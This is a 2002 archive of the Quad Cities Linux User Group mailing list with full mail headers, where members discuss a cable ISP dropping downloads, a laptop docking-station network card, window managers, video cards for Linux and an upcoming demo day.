Sep 2002 03:13:30 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 10 Sep 2002 03:13:30 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020910031332.RQAQ2075.sccmmhc01.mchsi.com@laptop> for ; Tue, 10 Sep 2002 03:13:32 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 21:50:39 +0000 User-Agent: KMail/1.4.2 References: <200209082010.12889.gentoo@mchsi.com> <20020910014044.QSDG2075.sccmmhc01.mchsi.com@there> In-Reply-To: <20020910014044.QSDG2075.sccmmhc01.mchsi.com@there> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209092150.40140.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 03:13:30 -0000 =09Mediacom seems to be mapping everyones mac address so if you change yo= u=20 networkcard except to have to call mediacom theres a special website they= =20 will tell you to goto to register other network cards ....... i will have= to=20 talk to my friend to get that address .... besides that it seems still ca= nt=20 download big files . I just hope they dont start running crap that confli= cts=20 with use of the internet.=20 On Tuesday 10 September 2002 01:35 am, Harley McClure wrote: > On Sunday 08 September 2002 15:10, you wrote: > > Anyone notice mediacom cutting out during downloads of big files or s= mall > > ? Like i have been trying to download debian for power pc the downlo= ads > > would get stuck half way or when there almost done it would just sit > > there unable to resusme or connects like the internet died but im abl= e to > > get website and start other downloads .this has happened on 4 gentoo > > boxes and my win2k even my laptop seems to die just getting mail like= the > > server disappered. ? > > > > =09Could this also be my Masq machine dying its been up 141 days. > > It seems like mediacom randomly shuts me off and turns me back on i h= ave > > been doing alot of rerunning #ifdown eth1 #ifup eth1on my server ( re= news > > dhcp info ) gives the same ip its just like it was turned off ..... = I > > can give any info on my server if needed to be . has anyone else noti= ced > > this ? > > > > =09Well anyway i have not been able to download the power pc debian p= ort if > > anyone has the disk i could copy i would appriciate it alot . i tried > > every mirror and even the jigdo program on both linux and windows and= it > > seems to always just hang. it seems sometimes portage hangs on my gen= too > > systems to. along with other downloading programs . > > Mine was crud this weekend and I talked to a friend in the same area, a= nd > he had called them. What they told him was that they were re-registeri= ng > ethernet addresses. It seems that during the changeover they lost trac= k of > who had what address, and they've just been serving IPs to anyone that > connected. That's changing. Only registered devices will get served > addresses. Anyone else will have trouble until they get registered. O= f > course this is all second hand, so have a large grain of salt handy. > > Harley McClure > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From JSmith@sedonaesolutions.com Tue Sep 10 14:40:52 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8001 invoked by uid 1051); 10 Sep 2002 14:40:52 -0000 Received: from unknown (HELO gabriel.sedonaesolutions.com) (63.97.64.194) by 0 with SMTP; 10 Sep 2002 14:40:52 -0000 Received: by GABRIEL with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Sep 2002 09:40:52 -0500 Message-ID: From: Jerry Smith To: "'qclug@qclug.org'" Date: Tue, 10 Sep 2002 09:40:47 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [QCLUG] Gentoo on Inspiron 8000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 14:40:52 -0000 I've Gentoo on a Dell Inspiron 8000 with the built-in ethernet card. It's using the eepro100 driver and works great outside the docking station. When I put it in the docking station and use the docking stations ethernet port, I can't access the network. If I take the cable and put it back in the built-in card it works fine. Any ideas on how to get it to work with the docking station ethernet port? From gentoo@mchsi.com Tue Sep 10 15:21:56 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8428 invoked by uid 1051); 10 Sep 2002 15:21:56 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 10 Sep 2002 15:21:56 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020910152156.VEHZ2075.sccmmhc01.mchsi.com@laptop> for ; Tue, 10 Sep 2002 15:21:56 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Gentoo on Inspiron 8000 Date: Tue, 10 Sep 2002 09:58:05 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209100958.05448.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 15:21:56 -0000 =09Do you have your ethernet on your docking station set up correctly im = asuming=20 that the docking station has its own type of network card . ( the docking= =20 station for my dell latitude uses a strange 3com card ) you may have to b= ring=20 down your ethernet card on your laptop before docking and then bring up t= he=20 network card on your docking station. It may help if you have more info=20 about the laptop and the docking station . On Tuesday 10 September 2002 02:40 pm, Jerry Smith wrote: > I've Gentoo on a Dell Inspiron 8000 with the built-in ethernet card. I= t's > using the eepro100 driver and works great outside the docking station.=20 > When I put it in the docking station and use the docking stations ether= net > port, I can't access the network. If I take the cable and put it back = in > the built-in card it works fine. Any ideas on how to get it to work wi= th > the docking station ethernet port? > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From volunteer@revealed.net Tue Sep 10 17:22:29 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9382 invoked by uid 1051); 10 Sep 2002 17:22:29 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 10 Sep 2002 17:22:29 -0000 Received: from revealed.net ([63.102.218.207]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Tue, 10 Sep 2002 12:22:16 -0500 Sender: volunteer Message-ID: <3D7E2AC7.A50A41C4@revealed.net> Date: Tue, 10 Sep 2002 12:24:23 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] E-Bay item X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 17:22:29 -0000 Is anyone knowledgeable about these old game consoles? I'd welcome any comments. If this doesn't work as a link, I apologize. It was sent to me by an AOL user. Click here: eBay item 1379691751 (Ends Sep-14-02 21:18:36 PDT ) - Video Arcade Machines Jim From klown@revealed.net Tue Sep 10 17:28:32 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9490 invoked by uid 1051); 10 Sep 2002 17:28:31 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 10 Sep 2002 17:28:31 -0000 Received: from athlon ([208.16.227.184]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with SMTP id net for ; Tue, 10 Sep 2002 12:28:18 -0500 Message-ID: <000e01c25900$e93dd1d0$0201a8c0@athlon> From: "Mark Riedesel" To: References: <3D7E2AC7.A50A41C4@revealed.net> Subject: Re: [QCLUG] E-Bay item Date: Tue, 10 Sep 2002 12:33:15 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 17:28:32 -0000 I've seen sites that sell replacement joysticks and buttons, as well as a few other components for arcade machines.. It's a shame the guy doesn't mention what's wrong with them.. If anything, you can replace the old parts with a computer, and run an emulator on it :) Mark ----- Original Message ----- From: "Jim Hall" To: Sent: Tuesday, September 10, 2002 10:24 AM Subject: [QCLUG] E-Bay item > Is anyone knowledgeable about these old game consoles? I'd welcome any > comments. If this doesn't work as a link, I apologize. It was sent to me > by an AOL user. > > HREF="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=1379691751">Click > here: eBay item 1379691751 (Ends Sep-14-02 21:18:36 PDT ) - Video > Arcade Machines > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From ray@qlilinux.com Tue Sep 10 17:44:12 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9683 invoked by uid 1051); 10 Sep 2002 17:44:12 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 10 Sep 2002 17:44:12 -0000 Subject: Re: [QCLUG] E-Bay item From: Ray Sanders To: "qclug@qclug.org" In-Reply-To: <000e01c25900$e93dd1d0$0201a8c0@athlon> References: <3D7E2AC7.A50A41C4@revealed.net> <000e01c25900$e93dd1d0$0201a8c0@athlon> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 10 Sep 2002 12:48:18 -0500 Message-Id: <1031680098.3567.103.camel@tempe.qlitech.net> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 17:44:12 -0000 On Tue, 2002-09-10 at 14:33, Mark Riedesel wrote: > I've seen sites that sell replacement joysticks and buttons, as well as a > few other components for arcade machines.. It's a shame the guy doesn't > mention what's wrong with them.. > > If anything, you can replace the old parts with a computer, and run an > emulator on it :) > > Mark Dave Helton used to work on Arcade games, You may want to ask him about parts, and maintainence. I'm deciding on building a mame cabinet, or just saying screw it and buying this nice little gem. http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2139314467 -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From stephen@revealed.net Thu Sep 12 18:02:59 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 22862 invoked by uid 1051); 12 Sep 2002 18:02:59 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 12 Sep 2002 18:02:59 -0000 Received: (qmail 16599 invoked by uid 1008); 12 Sep 2002 17:46:27 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 12 Sep 2002 17:46:27 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <00011000363800.00590@vortex> Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Thu, 12 Sep 2002 18:06:51 -0000 Subject: [QCLUG] Just checking X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: Date: Thu, 12 Sep 2002 18:02:59 -0000 X-Original-Date: Mon, 10 Jan 2000 00:36:38 -0600 X-List-Received-Date: Thu, 12 Sep 2002 18:02:59 -0000 Heh, been kinda quite lately, just wanting to be sure all is working well.. rk From volunteer@revealed.net Thu Sep 12 18:23:28 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23045 invoked by uid 1051); 12 Sep 2002 18:23:28 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 12 Sep 2002 18:23:28 -0000 Received: from revealed.net ([63.102.218.223]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Thu, 12 Sep 2002 13:23:15 -0500 Sender: volunteer Message-ID: <3D80DC15.CF9BBF77@revealed.net> Date: Thu, 12 Sep 2002 13:25:25 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] Just checking References: <00011000363800.00590@vortex> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 18:23:28 -0000 What happened to your clock? (he he he) :) Jim Roadkill the Avatar of Misfortune wrote: > > Heh, been kinda quite lately, just wanting to be sure all is working well.. > > rk > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From JSmith@sedonaesolutions.com Thu Sep 12 18:49:09 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23240 invoked by uid 1051); 12 Sep 2002 18:49:09 -0000 Received: from unknown (HELO gabriel.sedonaesolutions.com) (63.97.64.194) by 0 with SMTP; 12 Sep 2002 18:49:09 -0000 Received: by GABRIEL with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Sep 2002 13:33:10 -0500 Message-ID: From: Jerry Smith To: "'qclug@qclug.org'" Date: Thu, 12 Sep 2002 13:33:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [QCLUG] Window Managers... X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 18:49:09 -0000 So what is everyone using, and why? From vorlon@netexpress.net Thu Sep 12 18:51:47 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23311 invoked by uid 1051); 12 Sep 2002 18:51:47 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 12 Sep 2002 18:51:47 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g8CIpmxM015602 for ; Thu, 12 Sep 2002 13:51:48 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g8CIpQFr015595 for qclug@qclug.org; Thu, 12 Sep 2002 13:51:26 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Thu, 12 Sep 2002 13:51:26 -0500 From: Steve Langasek To: "'qclug@qclug.org'" Subject: Re: [QCLUG] Window Managers... Message-ID: <20020912185126.GK13339@netexpress.net> Mail-Followup-To: "'qclug@qclug.org'" References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="QNDPHrPUIc00TOLW" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 18:51:47 -0000 --QNDPHrPUIc00TOLW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Sep 12, 2002 at 01:33:09PM -0500, Jerry Smith wrote: > So what is everyone using, and why? Enlightenment, because everything else sucks more. Steve Langasek postmodern programmer --QNDPHrPUIc00TOLW Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9gOIuKN6ufymYLloRAn4MAKC6qcfNciN26ntnWUg8tFrgREAMBACcClpO 8PHmEu89M50msBgrHCDja3Y= =abjM -----END PGP SIGNATURE----- --QNDPHrPUIc00TOLW-- From stephen@revealed.net Thu Sep 12 19:24:48 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23469 invoked by uid 1051); 12 Sep 2002 19:24:48 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 12 Sep 2002 19:24:48 -0000 Received: (qmail 16203 invoked by uid 1008); 12 Sep 2002 19:08:16 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 12 Sep 2002 19:08:16 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] Window Managers... Date: Thu, 12 Sep 2002 13:24:33 -0600 X-Mailer: KMail [version 1.2] References: In-Reply-To: MIME-Version: 1.0 Message-Id: <02091214243302.00590@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 19:24:48 -0000 I use Enlightenment from www.enlightenment.org I prefer the dev's outlook on what a window manager should be. With E I decide what my desktop does, and how it looks.. which, in my book, makes a desktop far more usable. It's also xinerama aware (multi head support) which is very nice...(honestly i've fell out of keeping up with other window managers so I'm not sure which others do or do not have xinerama support at this point..) Roadkill the Avatar of Misfortune On Thursday 12 September 2002 13:33, you wrote: > So what is everyone using, and why? > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From stephen@revealed.net Thu Sep 12 19:27:25 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23527 invoked by uid 1051); 12 Sep 2002 19:27:24 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 12 Sep 2002 19:27:24 -0000 Received: (qmail 17362 invoked by uid 1008); 12 Sep 2002 19:10:52 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 12 Sep 2002 19:10:52 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] Just checking Date: Thu, 12 Sep 2002 13:27:10 -0600 X-Mailer: KMail [version 1.2] References: <00011000363800.00590@vortex> <3D80DC15.CF9BBF77@revealed.net> In-Reply-To: <3D80DC15.CF9BBF77@revealed.net> MIME-Version: 1.0 Message-Id: <02091214271003.00590@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 19:27:25 -0000 Ya know, I dunno, could be a ded batttery or a screwy bios, luckily I don't have to reboot much, and when I do, i "normally" remember to set the clock from a timeserver, before I email anyone...lol rk On Thursday 12 September 2002 13:25, you wrote: > What happened to your clock? (he he he) :) > > Jim > > Roadkill the Avatar of Misfortune wrote: > > Heh, been kinda quite lately, just wanting to be sure all is working > > well.. > > > > rk > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From ray@qlilinux.com Thu Sep 12 19:51:49 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23719 invoked by uid 1051); 12 Sep 2002 19:51:48 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 12 Sep 2002 19:51:48 -0000 Subject: Re: [QCLUG] Window Managers... From: Ray Sanders To: "qclug@qclug.org" In-Reply-To: <02091214243302.00590@vortex> References: <02091214243302.00590@vortex> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 12 Sep 2002 14:54:13 -0500 Message-Id: <1031860454.3774.45.camel@tempe.qlitech.net> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 19:51:49 -0000 I tend to gravitate towards KDE. For several reasons, however for e-mail I run Evolution, which means for my workstation and laptop no Slackware or Gentoo for me. Don't get me wrong. I do like E, and the various *Step Managers, as they are *VERY* Tweakable. For the longest time I ran Litestep on Windows. Very cool stuff. I guess it's the fact that for the longest time I had no choice but to use Windows for a lot of the stuff I wanted to get done, and partly from loyalty to KDE. Those guys have got a ton of attention drawn to Linux, and helped spark off GNOME. (Without a bungle in KDE's license several year sback, GNOME may never have started) I also still stick w/ KDE as a good portion of the people who purchase systems from me are coming from a Windows background. Just as I need to keep a Windows box around to know what the competition is doing, I also keep at least one system running KDE so I can walk people through stuff. So one of these days, I may set up my Gaming rig to run E, and stick with KDE on the Laptop and Business workstation. Sadly cool & tweakable does not always equal easy to use and maintain. I'm hoping someday it gets there though. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From jsprague@netexpress.net Thu Sep 12 23:32:19 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 25009 invoked by uid 1051); 12 Sep 2002 23:32:19 -0000 Received: from unknown (HELO netexpress.net) (64.22.192.2) by 0 with SMTP; 12 Sep 2002 23:32:19 -0000 Received: from hal (rsprague.netexpress.net [64.22.200.14]) by netexpress.net (8.11.3/8.11.3) with SMTP id g8CNWK701323 for ; Thu, 12 Sep 2002 18:32:20 -0500 X-Spam-Filter: check_local@netexpress.net by digitalanswers.org Message-ID: <001101c25ab4$a20ed790$0300000a@hal> From: "Jon Sprague" To: References: Subject: Re: [QCLUG] Window Managers... Date: Thu, 12 Sep 2002 18:32:12 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 12 Sep 2002 23:32:20 -0000 KDE. I know. I know. Just haven't gave anything else a real try. Seems to be a resource hog. Jon ----- Original Message ----- From: "Jerry Smith" To: Sent: Thursday, September 12, 2002 1:33 PM Subject: [QCLUG] Window Managers... > So what is everyone using, and why? > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From gentoo@mchsi.com Fri Sep 13 00:30:04 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 25281 invoked by uid 1051); 13 Sep 2002 00:30:04 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 13 Sep 2002 00:30:04 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020913003002.COSD7903.sccmmhc02.mchsi.com@laptop> for ; Fri, 13 Sep 2002 00:30:02 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Window Managers... Date: Thu, 12 Sep 2002 19:26:14 +0000 User-Agent: KMail/1.4.3 References: <001101c25ab4$a20ed790$0300000a@hal> In-Reply-To: <001101c25ab4$a20ed790$0300000a@hal> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209121926.14235.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 13 Sep 2002 00:30:05 -0000 =09I use kde on must my systems even my laptop ( gentoo on everything ) .= I have=20 used enlightenment fluxbox blackbox and many others just dont have time t= o=20 learn and configure them one day i will cause alot of the other windows=20 manergers are lightweight and fast.=20 so many windows managers so little time :)=20 =20 On Thursday 12 September 2002 11:32 pm, Jon Sprague wrote: > KDE. > I know. I know. > Just haven't gave anything else a real try. > > Seems to be a resource hog. > > Jon > > ----- Original Message ----- > From: "Jerry Smith" > To: > Sent: Thursday, September 12, 2002 1:33 PM > Subject: [QCLUG] Window Managers... > > > So what is everyone using, and why? > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From compgod@mchsi.com Mon Sep 16 02:22:22 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3565 invoked by uid 1051); 16 Sep 2002 02:22:18 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 16 Sep 2002 02:22:18 -0000 Received: from PROTHEUS (IDENT:c+mHunSeKqIBkr+ipiv/dBOLYiaBOuyX@PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g8G1NWD13376 for ; Sun, 15 Sep 2002 21:23:39 -0400 From: Dan To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 15 Sep 2002 21:23:31 -0400 Message-Id: <1032139419.12294.29.camel@PROTHEUS> Mime-Version: 1.0 Subject: [QCLUG] Video Cards X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 02:22:22 -0000 I am researching video cards to put into my Linux box. I was considering a GeForce 2 because I have one in my 2000 box. Then getting a better card for my 2000 box. Any ideas what kind of card I should look into that is really Linux compatible. How I understand it is that the Nvidia chip sets are really well supported. Is that true? Also does it matter what the other kind of equipment I have already? Here whats in my Linux box: CPU 500 Mhz K6-2 RAM 128 Mb VIDEO STI 16mb TNT Any help would be great. Dan From volunteer@revealed.net Mon Sep 16 03:30:05 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3716 invoked by uid 1051); 16 Sep 2002 03:30:05 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 16 Sep 2002 03:30:05 -0000 Received: from revealed.net ([65.114.247.37]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Sun, 15 Sep 2002 22:29:45 -0500 Sender: volunteer Message-ID: <3D8550AE.96E23C8A@revealed.net> Date: Sun, 15 Sep 2002 22:31:58 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] Demoday X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 03:30:05 -0000 Are we actually going to have a demoday this weekend? I haven't seen anything for at least a week. At the meeting (big turnout - 4 people) we had nothing to discuss. Alex hasn't posted since shortly after our last Saturday meeting. Shouldn't we cancel now and start work on the next one? I really hate to be negative about this but it doesn't seem this is going to happen, unless there's a lot going on out of sight of public view (meaning the LUG in general). Does anyone have any concrete info about people, equipment, anything? Jim From ray@qlilinux.com Mon Sep 16 05:30:29 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 4042 invoked by uid 1051); 16 Sep 2002 05:30:29 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 0 with SMTP; 16 Sep 2002 05:30:29 -0000 Received: from 12.217.180.216 ( [12.217.180.216]) as user qliray@mail.qlitech.net by www.qlitech.net with HTTP; Mon, 16 Sep 2002 00:30:29 -0500 Message-ID: <1032154229.3d856c754df98@www.qlitech.net> Date: Mon, 16 Sep 2002 00:30:29 -0500 From: Ray Sanders To: qclug@qclug.org Subject: Re: [QCLUG] Video Cards References: <1032139419.12294.29.camel@PROTHEUS> In-Reply-To: <1032139419.12294.29.camel@PROTHEUS> MIME-Version: 1.0 Content-Type: text/plain; 